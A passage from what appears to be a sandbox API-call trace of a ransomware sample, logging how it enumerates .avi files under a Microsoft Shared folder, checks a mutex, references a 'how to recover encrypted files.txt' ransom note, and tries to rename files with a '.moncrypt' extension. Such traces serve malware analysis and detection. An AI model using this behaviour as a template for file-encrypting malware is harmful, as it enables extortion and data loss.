Shared\\ink\\en-US\\boxed-delete.avi", lpUsedDefaultChar=0x0) returned 73 [0046.012] CharLowerBuffW (in: lpsz=".avi", cchLength=0x4 | out: lpsz=".avi") returned 0x4 [0046.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".avi", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".aviShared\\ink\\en-US\\boxed-delete.avi", lpUsedDefaultChar=0x0) returned 4 [0046.012] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 0x54e240 [0046.012] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0046.012] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0046.012] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", dwFileAttributes=0x20) returned 0 [0046.024] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18潔瘱暼癀") returned 9 [0046.024] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.moncrypt")) returned 0 [0046.024] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0046.024] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.024] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.024] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.024] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.024] GlobalUnlock (hMem=0x44000c) returned 0 [0046.025] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.025] GlobalLock (hMem=0x440004) returned 0x554190 [0046.025] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.025] GlobalUnlock (hMem=0x44000c) returned 0 [0046.025] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.025] GlobalUnlock (hMem=0x440004) returned 0 [0046.025] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.025] CharLowerBuffW (in: lpsz="boxed-join.avi", cchLength=0xe | out: lpsz="boxed-join.avi") returned 0xe [0046.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.025] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", lpUsedDefaultChar=0x0) returned 71 [0046.026] CharLowerBuffW (in: lpsz=".avi", cchLength=0x4 | out: lpsz=".avi") returned 0x4 [0046.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".avi", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".aviShared\\ink\\en-US\\boxed-join.avi", lpUsedDefaultChar=0x0) returned 4 [0046.026] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 0x54e240 [0046.026] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0046.026] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0046.026] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", dwFileAttributes=0x20) returned 0 [0046.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18潔瘱暼癀") returned 9 [0046.027] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.moncrypt")) returned 0 [0046.027] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0046.027] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.027] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.027] GlobalLock (hMem=0x440004) returned 0x552180 [0046.027] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.027] GlobalUnlock (hMem=0x440004) returned 0 [0046.027] GlobalLock (hMem=0x440004) returned 0x552180 [0046.027] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.027] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.027] GlobalUnlock (hMem=0x440004) returned 0 [0046.027] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.027] GlobalUnlock (hMem=0x44000c) returned 0 [0046.027] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.028] CharLowerBuffW (in: lpsz="boxed-split.avi", cchLength=0xf | out: lpsz="boxed-split.avi") returned 0xf [0046.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avir", lpUsedDefaultChar=0x0) returned 72 [0046.028] CharLowerBuffW (in: lpsz=".avi", cchLength=0x4 | out: lpsz=".avi") returned 0x4 [0046.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".avi", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".aviShared\\ink\\en-US\\boxed-split.avir", lpUsedDefaultChar=0x0) returned 4 [0046.029] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 0x54e240 [0046.029] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0046.029] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0046.029] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", dwFileAttributes=0x20) returned 0 [0046.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18潔瘱暼癀") returned 9 [0046.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.moncrypt")) returned 0 [0046.030] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0046.030] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.030] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.030] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.030] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.030] GlobalUnlock (hMem=0x44000c) returned 0 [0046.030] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.030] GlobalLock (hMem=0x440004) returned 0x554190 [0046.030] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.030] GlobalUnlock (hMem=0x44000c) returned 0 [0046.030] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.030] GlobalUnlock (hMem=0x440004) returned 0 [0046.030] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.030] CharLowerBuffW (in: lpsz="correct.avi", cchLength=0xb | out: lpsz="correct.avi") returned 0xb [0046.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.030] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.030] CharLowerBuffW (in: lpsz=".avi", cchLength=0x4 | out: lpsz=".avi") returned 0x4 [0046.031] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".avi", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".aviShared\\ink\\en-US\\correct.avin", lpUsedDefaultChar=0x0) returned 4 [0046.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 0x54e240 [0046.031] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0046.031] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0046.031] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi", dwFileAttributes=0x20) returned 0 [0046.031] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18潔瘱暼癀") returned 9 [0046.031] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.moncrypt")) returned 0 [0046.031] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, 